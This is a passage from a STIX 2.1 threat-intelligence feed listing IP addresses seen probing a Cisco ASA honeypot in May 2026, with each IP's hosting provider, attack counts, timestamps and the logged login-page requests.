            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T08:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--da495d09-bd00-4a1f-87a1-d99579ac04bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.41.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:20:50.000Z",
      "valid_until": "2026-06-27T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T07:55:06.266Z",
          "last_seen": "2026-05-31T02:29:53.101Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--4bdca00f-7186-4b26-926a-35052adc9589",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.66.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T09:02:24.822Z",
          "last_seen": "2026-05-26T09:03:09.006Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6848545e-923b-4c99-b905-43965ec82fe8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-26T08:56:28.312Z",
          "last_seen": "2026-05-31T02:16:18.520Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--cc0563ea-0fa3-43eb-bcef-88d799d3fd8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.24.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T08:40:31.051Z",
          "last_seen": "2026-05-27T09:48:51.781Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9623d891-d4ae-413a-9fa5-b4f200051986",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.246.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T08:27:57.299Z",
          "last_seen": "2026-05-26T08:28:10.559Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--891e7cc8-a7b6-43fa-a1e1-11c490923a90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.238.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T09:01:04.648Z",
          "last_seen": "2026-05-29T14:55:24.296Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ed6a952d-9502-463b-aec7-d9c136191026",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.45.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T09:11:09.190Z",
          "last_seen": "2026-05-31T01:18:54.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--d795baa6-36f9-484a-a05d-b49b2f47c992",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.59.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T08:50:01.035Z",
          "last_seen": "2026-05-30T06:58:52.640Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--946aaafa-58f9-4924-bd1d-bd71519ba185",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.128.224.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T08:25:53.889Z",
          "last_seen": "2026-05-29T20:31:27.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--06c648f2-e730-4330-83a4-9b6611dbe5af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.144.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T09:18:28.958Z",
          "last_seen": "2026-05-26T09:18:41.969Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--954d93e9-c544-4eea-8f25-cd55a3b2c45d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '62.106.69.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:20:10.000Z",
      "valid_until": "2026-06-27T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T08:23:57.534Z",
          "last_seen": "2026-05-27T08:19:55.670Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--76a77c3d-d1a7-40c8-8b44-c83579b7addb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.82.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T10:06:31.083Z",
          "last_seen": "2026-05-29T17:58:22.765Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3d5eb0f8-f629-4c6b-b66a-f243e7365c6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.158.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T09:39:50.909Z",
          "last_seen": "2026-05-30T03:50:23.986Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--30e2f4ac-ae5d-419f-bacb-991262217801",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.48.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-26T10:06:09.888Z",
          "last_seen": "2026-05-26T10:06:42.669Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9c0ec0fb-8600-404a-824b-41b06b94c98f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.128.43.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T10:01:09.045Z",
          "last_seen": "2026-05-30T07:09:22.014Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dfc52bef-4b8f-43be-8df7-1a1809359924",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.177.45.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T09:38:49.187Z",
          "last_seen": "2026-05-26T09:39:01.003Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--c5cb5103-a3d9-4b01-80a1-5aaf48538664",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.142.134.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T10:15:05.060Z",
          "last_seen": "2026-05-26T10:15:08.062Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--98f9d966-f5ec-4f77-aa93-80b172a8867b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.128.124.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T09:30:50.633Z",
          "last_seen": "2026-05-27T12:30:53.131Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b91ca314-0097-4309-950b-eed91c48c0d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.88.103.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:20:10.000Z",
      "valid_until": "2026-06-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T10:01:42.743Z",
          "last_seen": "2026-05-26T10:01:54.750Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a6cb49d8-584a-4448-a190-d4d8455b8fe2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
